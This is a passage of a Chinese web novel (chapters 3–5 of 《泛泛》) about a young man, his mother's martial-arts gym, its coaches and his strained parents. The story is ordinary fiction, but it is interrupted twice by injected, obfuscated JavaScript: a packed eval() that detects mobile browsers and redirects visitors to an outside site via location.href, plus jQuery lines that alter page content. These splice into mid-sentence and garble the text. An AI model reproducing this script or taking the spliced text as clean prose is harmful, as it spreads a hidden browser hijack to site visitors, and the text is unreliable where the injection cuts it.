《泛泛》 3. 第 3 章 3 “右边好一些。”樊均又说。 “哦……”邹飏明显是有些吃惊和尴尬,脸上不爽的表情都是顿了两秒才收起来的,“不好意思。” “没事儿,”樊均转回头看着那几个已经脱了鞋的,“你们玩吧,有事儿叫我。” “嗯。”邹飏应了一声。 樊均转身往门口走过去。 快走出训练馆的时候,兜里的手机震了一下,是吕叔发过来的消息。 -那孩子是你珊姐的儿子,叫邹飏,你招呼好点 樊均停下了脚步,犹豫了两秒,又转身往回,坐在了墙边的椅子上。 场地里正守着几个小孩儿训练的吕泽看了他一眼,樊均没接他视线,转头看向那边的邹飏他们。 吕叔跟珊姐好了那么久,一直也没机会见见人家儿子,现在邹飏找上门来,吕叔肯定是想好好表现。 樊均先给吕叔回了个消息。 -好 再给新馆隔壁母婴店的老板拨了个电话。 电话很快被接起,一个女声传了出来:“均儿啊?什么事儿?” “秦姐,麻烦叫猴儿给我打个电话,”樊均说,“他训练,手机没带在身上。” “行。”秦姐说完挂了电话。 猴儿的电话没过一分钟就打了过来:“你一走我就把手机拿着了!就怕有什么事儿呢是有什么事儿吗我带人过去!” “晚点儿那边有人接的小孩儿都接走了你把剩下的那几个带过来吃饭。”樊均说。 “……哦,好,”猴儿说,“刚那几个什么人啊?” “珊姐儿子。”樊均说。 “啊?”猴儿愣了,“他……” 后面的话樊均没听清,耳朵突然有点儿耳鸣,他拿开手机按了按耳朵:“带人过来的时候看紧点儿别让他们在路上撒欢。” “我靠这很尴尬啊。”刘文瑞小声说,“我刚还问他是不是耳朵不好。” “他还告诉你了,是。”李知越说。 “闭嘴吧我没忘不用你提醒。”刘文瑞白了他一眼。 “他耳朵会不会是练这玩意儿练瞎的?”张传龙对着沙袋踢了一脚。 沙袋纹丝儿没动。 “不知道,就知道你脑子可能是刚才冻瞎的。”邹飏往樊均那边看了一眼,这人可能缺觉,打完电话之后帽子往脸上一罩,又仰头开睡了。 “这沙袋比咱们学校训练馆那个重吧,”张传龙对着沙袋又踢了一脚,“怎么都不带晃的?” “随便玩玩得了……”邹飏实在没忍住,过去对着沙袋一个横踢,沙袋晃了起来,他看了张传龙一眼,“你……你想来这儿学我都怕人家不收你。” “练过是不一样哈?”张传龙啧啧两声。 “一会儿得走了,”邹飏坐到旁边的跳箱上,“再晚点儿我怕那个吕叔要留我们吃饭。” “不吃吗?”刘文瑞问,“我们还得自己找饭辙啊?这边儿也不熟……” “你不难受啊?跟这些人更不熟……”邹飏看着他,又扫了一眼那边的樊均,发现训练场中间那个看着也像个教练的年轻男人正向他们走过来。 脸上的表情并不是很客气。 邹飏没动,坐跳箱上看着他。 这人冷着个脸一直走到了沙袋旁边才停下,在张传龙抬腿要第四次踢向沙袋时起脚蹬在了他小腿上。 张传龙卯足了劲的一记扫膛腿被轻松化解,一跺脚一个标准的立正站在了原地。 “我操?”他有些恍惚地转头扫了一眼那人。 “训练用品非学员不能使用。”那人却只是目标明确地看着邹飏。 邹飏坐着没动,尽量礼貌地问了一句:“你谁啊?” “这里的教练,”那人说,“我姓吕。” 吕? 邹飏似乎隐约明白了什么,他冲那边仰头睡觉的樊均抬了抬下巴:“那个呢?” “也是教练。”吕教练没有回头看。 “那你跟他先商量好,”邹飏说,“到底能用不能用,你俩谁说了算。” 吕教练眉毛顿时拧了拧:“他从来不守规……” 话还没说完,训练馆门外突然冲进来一个瘦小的人影,随着人影冲进来的还有一嗓子呼救。 “救命啊——” 看上去非常紧急,人影进来之后直接飞扑上了训练区的垫子,但居然没忘了在空中甩掉脚上的鞋。 在地上一个翻滚起身之后邹飏才看清了这是个十二三岁的小男孩儿。 小孩儿转头看到墙边已经站起来了的樊均,声音里顿时充满了力量:“樊哥救我!樊哥救——” 门口一根棍子飞了进来,棍尖直插小孩儿。 小孩儿一个闪身跳开了。 门外棍子的主人也冲了进来:“你他妈跑这儿来就有用了吗!今天看我不打死你!” 孙旭磊每月一次被他爹追杀的场景如期上演,平时都是满街满胡同地逃窜,今天居然逃到了这儿…… 那边吕泽没动,就那么抱着胳膊看着。 当着吕泽的面,樊均本来也不打算动,但棍子直飞进来扎到训练区的垫子上时,他还是转身两步跨到了门边。 孙爹冲进门的瞬间樊均一只手抓住了他的衣领,接着一掌劈掉了他手里拎着的菜刀。 “让开!”孙爹一身酒味儿,看都没看他一眼,只盯着孙旭磊的方向,抬起膝盖就往樊均裤|裆撞过去。 樊均皱了皱眉,挥手一推,把孙爹扔出了门外。 孙爹一膝盖撞了个空,非常愤怒,扑着就又冲了进来,倒是目标明确直指孙旭磊:“问我是怎么当爹的!今天老子就让你看看我是怎么当爹的!我他妈不抽死你你不知道自己还有个爹!” “救命啊——”孙旭磊转身就往训练馆里头跑,被垫子绊倒之后干脆开始连滚带爬,“樊哥救救我——” 孙爹不打算跟樊均多纠缠,也纠缠不起。 但樊均是他给他儿子当爹路上绕不开的障碍。 他再次被樊均拽住了,樊均抓着他胳膊把他拉到了训练馆门边,往墙上一按:“孙哥。” “我警告你啊樊均!”孙爹瞪着他,“老吕都不敢动我!” “人一会儿我给你送回去,”樊均看着他,“别在我这儿打人。” “打了又怎么样!”孙爹吼。 “试试。”樊均说着突然松开了手。 孙爹像是突然失去了保护,有些无措地愣了两秒,往墙上贴了贴。 门外传来了狗的低沉吼声,樊均没转头,只是向那边抬手晃了晃,狗往后退了几步坐下了。 孙爹还是瞪着眼,有些刻意地喘着粗气,看得出来他正在思考怎么让自己下这个台阶。 “小孙,”珊姐的声音传了过来,“先别气先别气,回去歇着,一会儿老吕肯定帮你把人送回去……信不过别人,你还信不过老吕吗?” “那小子干什么了你们问问他!别光护着他!”孙爹终于找到了台阶,手指着训练馆那头缩着的孙旭磊,“他他妈偷他奶奶的钱!偷钱!我正要用钱呢,回家一看,钱全没了!” “走走走,”珊姐拽着孙爹的胳膊把他往院子外面拉,“先回去,这孩子真要这么浑,我都得骂他!你先回去……” 人被珊姐拉了出去,院子外面有附近的居民围了过来,人一多,孙爹也不能再发什么狠,樊均在门口站了一小会儿,听着没什么动静了,转身回了训练馆。 孙旭磊正跟几个学员凑一块儿说着什么,一看他过来,立马没了声音。 樊均没说话,抬手指着他。 孙旭磊一秒都没犹豫,转身就跑。 樊均抄起他脱下的鞋砸了过去,正中后背,孙旭磊晃了晃,脚底下步子有点儿慌,没几步就被樊均追上了,拎着后领子就往外拖。 “你上训练区怎么不换鞋……”孙旭磊挣扎着,樊均没说话,把他拖出了训练馆,他继续挣扎着,“樊哥你听我说!” “我操。”刘文瑞感叹。 不愧是传说中的南舟坪,爹打儿子用的是矛和菜刀。 邹飏看着被樊均拖出去的半大小孩儿,爹看着凶残,但这儿子看着似乎也不是省油的灯…… 而老妈打圆场解围时的样子,仿佛就是这里的半个主人…… 邹飏说不清是什么感觉。 身为武馆教练却站在原地跟他们一块儿看了半天热闹的吕教练这会儿才转过头说了一句:“不好意思……” 不知道是不好意思吓到你们了还是不好意思非学员不能试用器材。 “走。”邹飏没等他把后面的话说全,站了起来,穿上了鞋。 “嗯?”李知越看了他一眼。 “走了。”邹飏没再说别的,转身就往门口走。 “哎等等我们。”刘文瑞他们几个手忙脚乱地穿着鞋。 身后吕教练吼了一声:“继续训练!谁让你们停的!” 训练馆外面的小院已经恢复了平静,但还能听到院子外面那个爹缓慢远去的叫骂声。 那个小孩儿被樊均拖进了厨房里,老妈正站在门口看着,皱着眉,一脸担忧。 看到他出来,老妈赶紧冲他摆了摆手:“没事儿,你别管。” “我管什么?”邹飏心里顿时一阵堵,老妈这样子突然让他有点儿陌生,“关我什么事儿?” 老妈没说话。 “走了。”邹飏扔下一句话,从老妈身边走过。 “怎么个意思啊?”老妈看着他,“吕叔都去买菜了,这个点儿了肯定要留你们吃饭的。” “我吃不着。”邹飏说,“你们自己吃吧。” 老妈还是看着他,眼神有些说不清的情绪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453091|169504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邹飏也没再跟她对视,埋头径直走了。 往回走了差不多三分钟,一直跟在他身后的刘文瑞才追了上来,用胳膊碰了碰他:“哎。” “嗯。”邹飏应了一声。 “大孝子,头回见你这么跟你妈呛啊,”刘文瑞说,“我话都不敢说了。” “又不是你妈,”邹飏说,“你有什么可说的。” “要不让他俩回去?”刘文瑞回了回头,“咱俩回去找个地儿吃点儿?” “没你这么办事儿的,”邹飏说,又回头问了一句,“在这边儿吃还是回那边儿再找地儿?” “这边儿吧,”李知越马上拿出手机,“我来之前查了,有个老字号还不错,离两个路口,开个共享过去用不了十分钟。” “行。”邹飏点头。 五分钟了,孙旭磊就站在长桌对面抹着眼泪,一句话都没说。 樊均也没出声,靠坐在椅子里,一条胳膊往后搭在椅背上,手里一下下转着手机。 “你不信我。”孙旭磊终于抽泣着说出了一句话。 “你拿你奶钱了?”樊均问。 “我姑这月刚给我奶的生活费,”孙旭磊边抽边说,“我要不马上拿走,他一分也不会给我奶剩下!” 樊均轻轻叹了口气:“钱呢?花没?” “没,”孙旭磊手往自己裤|裆里一伸,“我都藏好了……” “哎操,”樊均拧着眉偏开了头,“藏得真好。” “这钱我都不往家里藏,”孙旭磊说,“我奶要用钱的时候我再给她拿。” “嗯,”樊均起身,从兜里摸了包纸巾扔到桌上,“擦擦脸,一会儿吃了饭吕叔送你回去,让他跟你爸好好说说。” “没用的。”孙旭磊说,“刚说完能好个几天,下月还得找钱。” 樊均没说话,走出了厨房。 “你们好好说,别吵啊。”珊姐边往厨房走边交待着不知道什么时候也站在了门外的吕泽。 吕泽没理她,只是看着樊均。 “怎么?”樊均走到他面前。 “孙旭磊不是我们学员了吧?”吕泽问。 “不是。”樊均回答。 “别说不是学员,就算是学员,”吕泽说,“我是不是说过馆里不要管学员私事?不要因为学员私事影响武馆?” 樊均沉默着。 “我们就是教练,不是老师也不是家长,”吕泽接着说,“该管什么不该管什么要分清,现在不是我爸当初那样了,来个人学个几天还能什么都管了?” 樊均还是沉默着。 吕泽也没了声音,只是盯着他。 樊均不太想出声,但吕泽明显在等,于是他应了一声:“嗯。” “嗯什么?”吕泽有些来气,“嗯什么?我他妈就烦你这样,三棍子出不来一个闷屁,从小到大跟没长嘴一样!” 樊均想了想,又说了一句:“知道了。” “知道了知道了,”吕泽皱着眉转身边走边说,“你什么都知道,什么都不按规定来……” 樊均看了一眼厨房里忙碌着的珊姐,打消了本来想回新馆那边吃饭的想法,邹飏带着人已经走了,他再走了…… 不过旧馆这边儿没他的课,这会儿进去吕泽看着他也心烦,在院子里定了几秒,他拿过了厨房门外杂物柜上的牵引绳。 一直盯着他动作的小白立马冲了过来,把嘴筒子伸进了项圈里。 “不是去玩,”他把项圈系好,“门口坐会儿。” 小白哼唧着也不太在意,能出门就行。 “走。”他带着狗走了出去。 这条街樊均比狗更熟悉,狗在这里待了七年,他在这里待了十四年。 熟悉的旧道路,熟悉的旧店铺,熟悉的气味,熟悉的嘈杂,还有越来越少的熟悉的老面孔。 他走进了街口的一家菜鸟驿站,往墙边的椅子上一坐,小白很自觉地找了个压扁的纸箱趴下了。 “今天怎么在这边儿?”正往拖车里放快递的大头鱼回头看了他一眼,“吕泽没来吗?” 樊均没听清他说什么,不过口型能看清:“他在呢。” “一会儿在我这儿吃几口?”大头鱼问,“艳儿做了一大锅卤鸡翅。” “不了。”樊均笑笑,低头拿出手机看着。 “你这什么态度?”刘文瑞指着站在面前一脸不爽的男人,“撞了人洒一身菜汤说声对不起你家祖宗牌位是要倒啊?” “我他妈都说了没看见你们,没完了是吧,来来来,别光吵了,”男人把脚边的椅子一踢,挺起了胸膛,“让你们撞回去怎么样!” 邹飏低头看了看自己鞋上的菜汤,抬起头时摘下了眼镜,说了一句:“好。” “你……”男人看着他,没来得及做出进一步的反应,就被他一胳膊肘连人带词儿撞到了地上。 4.第 4 章 4 男人大概没想到能这么巧就碰上个有求必应的,在地上坐了两秒才蹦了起来,对着邹飏就是一拳。 邹飏右手还拿着眼镜,这会儿只能用左手直接抓住了他抡过来的手腕,侧身顺着劲往后一带,男人踉跄着冲下了人行道。 一辆电瓶车按着喇叭从他身边掠过,骂声绵延了五十米。 “一句不好意思就能解决的事儿非得动手是吧?”刘文瑞一手指着男人,一手从背后扯住了邹飏的外套。 邹飏也没打算再跟这人继续动手,虽然今天的确气儿不顺,但他不想承认。 要真在距离武馆和老妈这么近的地方跟人动手,就像是坐实了一样。 “也不是不能满足你,”张传龙倒是跃跃欲试,“就是别转头哭着问我们要医药费就行。” 男人被激得正想要跃跃欲试too的时候,一个女人跑了过来,拦在了他们中间。 “不好意思不好意思啊几位同学,”女人一边死命拽着男人往店里走,一边冲他们尴尬地笑着,“真没注意身后,我老公性子急……那个同学的鞋要不要我帮你找个店洗一下……” 男人挣扎着想要甩开她,但女人死死拽着不松手,邹飏看着他俩一边争吵一边撕吧着上了人行道,回手把衣服从刘文瑞手里扽了出来:“走吧,换个地儿。” “鞋怎么办!”李知越明显不想就这么走了。 “扔了。”邹飏说。 几个人正想离开饭店门口往前走,那个男人挣开了女人的阻拦再次冲了过来,对着邹飏又是一拳。 也许是太没面子,这一拳男人抡得很圆,为了攒足力道,放弃了速度。 邹飏错开半步往后仰了仰,躲开了。 男人一记扫堂劈抡空之后没有放弃,反手就又甩了回来。 邹飏这回没再躲,直接一拳头砸在了他肘关节外侧。 这拳他没用力,基本只是拦了一下。 但男人在胳膊肘经历了短暂的一个反向弯折之后还是发出了一声惨叫,终于放弃了下一轮攻击。 女人惊慌地一边抱住他的胳膊,一边往邹飏这边看。 “没事儿,”刘文瑞说了一句,“断不了,顶多脱个臼。” “还来吗?”邹飏问,“不来走了啊?” 男人咬着牙,抱着自己胳膊没有说话也没往他这边看。 邹飏戴上眼镜,转身走了。 猴儿带着几个小孩儿从门口走过的时候,往店里看了一眼,然后喊了一声:“樊哥!” 声音很大,他身后走过的路人明显吓了一跳。 樊均一直看着外面,这会儿冲他竖了竖食指:“别喊。” “就知道你肯定不会在馆里。”猴儿走了进来。 “走吧,”樊均站起身,“过去。” “离吃饭还有一会儿呢吧?”猴儿说,“再等会儿吧,你不一直卡点儿去么。” “今天不卡。”樊均说。 吕泽跟他关系不好,馆里待时间长些的小孩儿都知道。 自打有了新馆,樊均基本上都不会到这边儿来吃饭了,就算过来,也是卡着开饭时间到,尽量避免跟吕泽待一块儿时间太长。 但今天……多少有些不一样。 因为邹飏的闪现,今天饭桌上的气氛有些微妙。 本来就不太跟珊姐说话的吕泽,这会儿直接端了碗坐在院子里吃,而一向会热情招呼这帮学员吃饭的珊姐,明显有些不开心。 学员们倒是跟平常一样,边聊边吃,因为今天加了菜,吃得比平时更欢乐,聊得也很欢。 “你爸肯定得抽死你。”李茂很愉快地边吃边用胳膊肘杵了杵孙旭磊。 “死多少回了,”孙旭磊也很愉快地回答,“不差再多死一回的。” “吕叔送你回去,这次不用死吧,”梁栋想了想,“你爸也打不过吕叔,起码能保你俩月不死的……” “他也打不过我,”孙旭磊挥挥筷子,“我毕竟不能跟他真动手……” 樊均看着他。 “知道了知道了,筷子吃饭用的不是用来指挥的。”孙旭磊收回挥舞着的筷子,低头对着碗里的菜一通扒拉。 一帮人饭吃得差不多了,吕叔才把新来的学员送走,进了厨房。 “这个新来的还是去商场那边练,”吕叔盛了一碗饭坐到了樊均右边,“有基础,跟猴儿水平差不多,你带一下。” “嗯。”樊均应了一声。 老学员里除了猴儿自己要求去新馆,有基础的都留在了老馆,吕泽来带,这个为什么要去新馆,他没多问。 “本来是打算放这边儿,”吕叔回头往外看了一眼,吕泽已经吃完饭走开了,他转回头低声说,“人是小丁推荐过来的,肯定是要跟你。” “嗯。”樊均点了点头,那就懂了。 小丁是他以前的学员,跟他关系很好,跟吕泽关系就属于“要不是打不过早动手了”的那种。 厨房里吃饭的人都出去了,珊姐才凑了过来,皱着眉问了一句:“之前邹飏去新馆那边儿没给你找什么麻烦吧?” “没,”樊均说,“就说找吕叔,我就给带过来了。” “哦……”珊姐还是皱着眉。 “你别老瞎想,”吕叔摆摆手,“我看孩子挺懂事的,能找什么麻烦啊。” “你不知道,我都摸不透他,这孩子,”珊姐叹气,“他要想装,能比今天懂事一百倍,他在他爸跟前儿那叫一个知书达理啊,他要不想装……” “去哪儿?”刘文瑞跨在共享电瓶车上看着他。 “他俩不是要回学校么。”邹飏说。 “我俩!”刘文瑞说,“我俩又不回学校,我俩去哪儿?” “各回各家。”邹飏说。 说实话,他实在没什么心情跟刘文瑞再在外面闲逛了,也怕自己情绪不对,逛一半儿再把刘文瑞给打一顿。 毕竟同窗十年,情谊还是有一些的。 只是回家也没什么意思。 他一周回一趟家,老妈有时候在家,有时候不在,但自打老妈跟他坦白了吕叔的事儿之后,基本就都不在家了。 邹飏有时候感觉自己就是从学校宿舍回到了出租屋。 明明父母双全还健康得很,混得像个孤儿。 空落落的。 刘文瑞跟他和他的新车依依惜别后,邹飏跨着车在路边愣着。 有点儿不知道该干嘛了。 愣了一会儿,实在有点儿冷得受不了,他掉转车头,往老爸家开了过去。 其实上周末他刚去过老爸家,正常他一个月也就去一次,毕竟人家那边一家三口,他去多了不合适。 他也不乐意去。 但今天他要去,心情不好,去破坏一下别人家的气氛。 “最近在看什么书?”老爸坐在茶桌前,慢条斯里地泡着茶。 “虚构集,”邹飏坐在老爸对面,低头也慢条斯理地擦着眼镜,“不过这阵儿专业书看得更多些。” 茶室的门关着,客厅那边看电影的声音却还是能听到。 而且越来越响,还是个外国警匪片儿,这会儿不知道哪个找死的炸了个车,茶室的玻璃都跟着抖了。 但老爸没什么反应。 比以前真是宽容多了。 邹飏扫了一眼茶室。 这里曾经是他生活的地方,每一寸都是回忆,但现在可以暂时属于他的,只有茶室里的这张椅子。 好在老爸还给他留了一个专用的茶杯。 兜里的手机响了一声。 老爸抬头看了看他:“还有事儿?” “没什么事儿,广告短信吧。”邹飏戴上眼镜,也没看,手伸进兜里把手机调成了静音。 估计是刘文瑞。 “专业书是要看的,不过我给你推荐的书单最好也看看,不要等时间来找你,要自己去找时间,”老爸很满意地笑了笑,给他倒了茶,“书单里有些不好找的,你到这里来拿。” “嗯,还真有几本找不到的。”邹飏说。 “有些是很老的版本了……”老爸有些感慨地说着,“我当年也都费了些劲才找到的……” “是,有些书还得老版本看着有味道。”邹飏有些走神,没太细听,屋里悠扬的古筝曲混杂着客厅的激烈战斗听得他直犯困,只能盯着桌上的茶,凭借多年的经验搭着话。 “你这点是真的像我。”老爸笑笑。 ……第五泡,再来一泡差不多了。 兜里手机震了两下,应该还是刘文瑞,他也没法拿手机出来看,老爸以前跟老妈吵架,有一半原因是老妈爱看手机。 所以他基本不会在老爸面前拿出手机这东西。 刘文瑞也不会有什么事儿,顶多是回家之后跟他一样无聊,让上线开一局的。 “你妈还跳舞吗?”老爸在他琢磨怎么结束话题离开的时候突然问了一句。 “嗯?”邹飏愣了愣,差点儿没跟上思路,“哦,没怎么跳了,她最近……忙事业呢。” “呵,”老爸表情有些微妙,“闲散半辈子想起来忙事业了。” 邹飏没出声,手里喝完的杯子没有马上放回桌上,以防老爸再给他倒上一杯。 其实这话他说完就后悔了,就怕老爸再问忙的什么事业。 “什么事业?”老爸果然问了。 “跟人开了个武馆。”邹飏尽量简单地总结。 “跳舞的?”老爸似乎是没听懂。 “哼哼哈嘿的。”邹飏比划了两下。 老爸拿着杯子,过了好几秒钟才放下了:“嚯。” 虽然能看得出来老爸并不理解,但他并没有多问,毕竟没离婚的时候他对老妈的想法就并不在意。 当然,老妈也一样。 神离貌也不怎么合。 还相互有些嫌弃,她嫌他自视清高,他嫌她脑子空空,总之两人精神世界隔了八百光年。 吵架都对不上频道。 邹飏像很多小孩儿一样,也好奇过父母是怎么相遇,又是为什么相爱的。 他俩的回答倒是出奇的一致。 因为好看。 “那你……去过吗?”老爸问,“那个武馆。” “没有。”邹飏说着的时候,兜里的手机连续震动了起来。 这不是消息了,是有电话在响。 他往椅背上一靠,手伸进兜里,先把电话挂掉,再拿出来飞快地打开了铃声放回了兜里。 行云流水。 没过几秒,电话铃声再次响起。 等老爸听到电话铃声看着他时,他才有些不耐烦地摸出手机看了一眼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467400|169504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 看清来电名字时倒是很真实地顿了顿:“是我妈。” “你先接。”老爸起身,往茶室门口走过去。 拉开茶室门的瞬间,客厅炸了个仓库,他又迅速把门关上了。 “喂。”邹飏接起了电话。 “你回家了吗?”老妈的声音传出来。 “没,”邹飏说,“在我爸这儿。” “怎么又去他那儿了?”老妈问。 邹飏没出声。 “你下午没事儿的话……”老妈犹豫着,“过来武馆这边儿一趟吧。” “嗯?”邹飏愣了愣,“有什么事儿吗?” “能有什么事儿?”老妈说,“你今天是吃咸了才跑过来参观的吗?现在问我什么事儿。” 邹飏轻轻呼出一口气,没接话。 “行了我在新馆等你,跟你爸聊文学去吧。”老妈说完挂掉了电话。 邹飏看着手机,虽然老妈语气不好,但愿意主动跟他聊聊这事儿,他还挺感动的,毕竟这么久以来,他问都问不出几个字。 “怎么,你妈找你?”老爸回到了茶桌边。 “嗯。”邹飏点点头。 “那你去吧,”老爸往他身后看了一眼,“也聊了一会儿了。” 邹飏转头也看了看身后墙上的挂钟,靠。 熬了这么久,居然才一个小时。 倦爹厌日长,嬉游念逃亡啊真是…… 他挑了一下眉毛:“都一个小时了?” “咱俩爷儿俩还是有话题,”老爸笑着说,“我跟……别人都没法这么聊。” “竹下忘言对紫茶,全胜羽客醉流霞,”邹飏说,“主要是喝茶舒服。” “是啊,”老爸点头,“没事儿,咱们下次再聊。” “我下次早点儿过来,”邹飏把茶杯放回原位,“茶也没喝够呢。” “好,”老爸很愉快地拍了拍他的肩,把他往门口送的时候,又问了一句,“小飏,最近钱够……” “够用,”邹飏迅速打断了他的话,“上回转的还没动呢。” “别太省,该用用,”老爸说,“我一会给你再转点儿……” “爸,别,”邹飏往客厅方向看了看,低声说,“你这样我以后没法来了。” 老爸愣了愣,笑得有些尴尬:“哎,你这孩子。” 等电梯的时候,老爸还在门口站着目送他。 邹天瑞从老爸身后一晃而过,邹飏能感觉到她不悦的目光,盯着电梯门目不斜视,不为所动。 电梯门打开的时候,他才转头冲老爸说了一句:“爸你回去吧。” “好,好。”老爸点点头。 邹飏走进电梯,先按了关门。 电梯门关上的同时,他呼出一口气,靠到了轿厢上。 这一小时给他背都快绷碎了。 武馆的那个商场,第二次过来的时候邹飏才注意到这商场叫百顺广场。 挺好,虽然今天不怎么顺。 武馆跟他之前来的时候一个样,里头一帮小孩儿来回蹦着,不过多了几个成年人。 老妈在外间接待的小桌那儿坐着,手里拿着一张挺大的海报,樊均背对着门蹲桌子旁边安装一个展架。 “来了啊?”老妈看到他说了一句,“还挺快。” “嗯。”邹飏走了进去。 樊均回过头,嘴里叼着两根钉子,看到是他之后点了点头,又转回头继续装展架了。 “你爸没多留你一会儿?”老妈抖了抖海报。 “在这儿聊吗?”邹飏问。 “就在这儿呗,”老妈放下了海报,“楼下有个奶茶店,你要喝奶茶吗?” “不用。”邹飏说。 樊均这会儿站了起来,把展架挪到了旁边,再把墙边的一张椅子拿到了邹飏腿边。 转身要往里头训练区走的时候,老妈叫住了他:“均儿,你就在这儿吧。” “嗯?”樊均愣了愣。 “万一我说不清楚,你给我补充一下。”老妈说。 “什么?”樊均明显有些茫然,扫了邹飏一眼。 看什么? 均儿。 “不是,”邹飏感觉自己理论上应该发火才对,但这会儿只觉得想笑,“什么乱七八糟的?他谁啊你跟你儿子聊会儿还得他在场补充?” 那边跟爹喝个茶,客厅里有人炸车,这边跟妈聊个天儿,旁边搁个书记员。 多逗啊。 “你不是要了解我们这个武馆吗?”老妈说,“他是吕叔的小儿子。” 虽然邹飏发现老妈根本没明白他想聊的是什么,他也不是真想知道樊均是谁,但这一瞬间还是没忍住跑了题。 小儿子跟妈姓啊? “……不是。”樊均有些尴尬。 “养子,养子。”老妈补充了一句。 邹飏沉默了。 火都没了,只剩了尴尬。 “你……”樊均看着他,“喝奶茶吗?” “啊?”邹飏一时反应不过来。 “奶茶。”樊均一边说一边还打了个手势,一只手握了个半圆,另一只手做了个捏着茶叶往里放的动作。 邹飏甚至能看出来这应该是手语奶茶的意思。 “行,”他有些无语地坐到了椅子上,“喝。” 5.第 5 章 5 樊均把外套拉链一拉就准备出门。 “你不用去不用去,”珊姐站了起来,“他刚都说了不喝,你别管他,他又不是客人。” “他……”樊均不知道这娘俩是怎么回事儿,珊姐平时很少提到她儿子,就知道有个在上大学的儿子。 他看了邹飏一眼。 这会儿邹飏脸上虽然没什么表情,但除了表情之外的一切都在表明他不爽,这种不爽有些微妙,会让樊均联想到吕泽对他的态度。 “喝。”邹飏靠在椅子上又重复了一遍。 “嗯。”樊均在珊姐过来拉他之前推开门走了出去,又迅速带上了门。 经过舞蹈室下楼的时候他往里看了一眼,狗躺地上翻着个肚皮四脚朝天,几个小姑娘正蹲边儿上给它呼噜肚皮。 “嘴套呢?”樊均走进去问了一句。 “摘了,”蓉蓉晃了晃手里的狗零食袋子,“刚喂它吃了一块鸡肉干儿。” “戴上。”樊均说。 “又没外人。”蓉蓉说。 “你们倒闭了啊没外人。”樊均过去拿过桌上的嘴套往狗肚子上一扔。 狗立马一个翻身坐正了。 “乌鸦嘴!”蓉蓉喊了起来,拿过了嘴套,一边给狗戴上一边冲他翻了个夸张的白眼,“快呸!” “呸呸呸。”樊均转身走了出去。 楼下的奶茶不是什么连锁店,里面只有老板姐姐自己,这会儿没有生意,正趴桌子上睡觉。 樊均伸手在桌上轻轻敲了两下。 “哎!”姐姐猛地抬起头,“喝什么?” 樊均看着柜台上方灯箱上选择并不算多的奶茶,琢磨了几秒钟:“姜奶吧,两个大杯。” 刚邹飏进来的时候,鼻尖和耳朵都是红的,估计一路吹着风过来的。 “你专门跑来一趟,还带着你那个猪头军师刘,”老妈抱着胳膊靠在桌边看着邹飏,“不就是为了看看我是不是往哪个骗子那儿扔了钱么,现在又说不为这个!那你为哪个!” 邹飏偏头看着玻璃门外空无一人的走廊,沉默着。 “说话啊!一说正事儿就八棍子打不出一个闷屁。”老妈说。 邹飏笑了笑,还是盯着外面,过了一会儿才说了一句:“你现在算是在这儿过日子了吧。” “什么意思啊?”老妈问。 “字面儿意思。”邹飏说。 “别跟你爸似的,一句话带八个弯儿,”老妈拧着眉,“听不懂你们这些高级话!我不就是想帮帮忙么,老吕一个人忙不过来……” “其实我周末回不回来都一样,是吧?”邹飏转回头看着她,“你平时还回那个家吗?” “我天天一个人待那儿也无聊啊!”老妈说,“你周末要是愿意,也可以过来啊……” “我过来?”邹飏没忍住挑了一下眉毛,“我过来干嘛?” “过来帮帮忙啊,玩一下也行啊,”老妈说,“你不是也会点儿吗,学员多的时候你可以帮忙看着点……” “我真……”邹飏吸了口气,摘下眼镜放到旁边小桌上,低头用手在脸上搓了搓,再长长地呼出一口气,低声说了一句,“操了。” “真该让你爸看看你这德性,”老妈说,“他还觉得你特像他呢。” “有时候我是真不知道该怎么跟你沟通……”这话说出来的时候邹飏就后悔了,但已经来不及吞回去。 这是老爸经常会对老妈说的话,邹飏一直很注意避开,无论多不高兴,他都不希望老妈从他嘴里听到这些会戳到她的话。 “那就别沟通!”老妈果然生气了,“我就是个弱智,沟通个屁呢!” “我不是这个意思。”邹飏说。 “你就是!”老妈说,“你……” 门被推开了,樊均拎着个奶茶袋子走了进来。 老妈生到一半的气被卡住了。 邹飏松了口气。 樊均把袋子放到桌上,拿了一杯插上吸管递给了老妈,又拿出一杯。 邹飏在他准备帮他那杯也插上吸管的时候赶紧伸手拿过了奶茶:“我自己,谢谢。” “你不喝吗?”老妈问。 “减重呢。”樊均说着把空袋子折了折,放到前台的柜子里。 “不是挺瘦的吗,”老妈打量了他一下,“老吕也没让你减吧?” “吕泽,”樊均说,“减就减吧。” 樊均收好袋子,转身顿了顿,这会儿珊姐和邹飏都没再说话,不知道是已经说完了还是在对峙。 看气氛应该是后者。 邹飏眼镜都没戴着了…… 樊均准备去训练区,虽然这会儿没有他的课,他本来是在这儿安装那个展架的……但一会儿再说吧。 刚要抬脚,珊姐却已经站了起来,直接转身走了出去。 樊均不得不停下了步子,看了一眼邹飏。 邹飏靠在椅子里,一条腿架在膝盖上,认真地喝着奶茶,不知道在想什么。 樊均走到门边往外看了看,珊姐已经没了影子。 “她可能……”他转头看着邹飏,“去隔壁店里了。” “嗯。”邹飏应了一声,眼睛都没往外看,更没有要动的意思。 樊均没再出声。 “不用管我,你忙你的去吧。”邹飏这句话明显比跟珊姐说话时声音要大。 “……我听得见。”樊均说。 邹飏抬眼看着他:“哦。” 哦完就继续喝奶茶了。 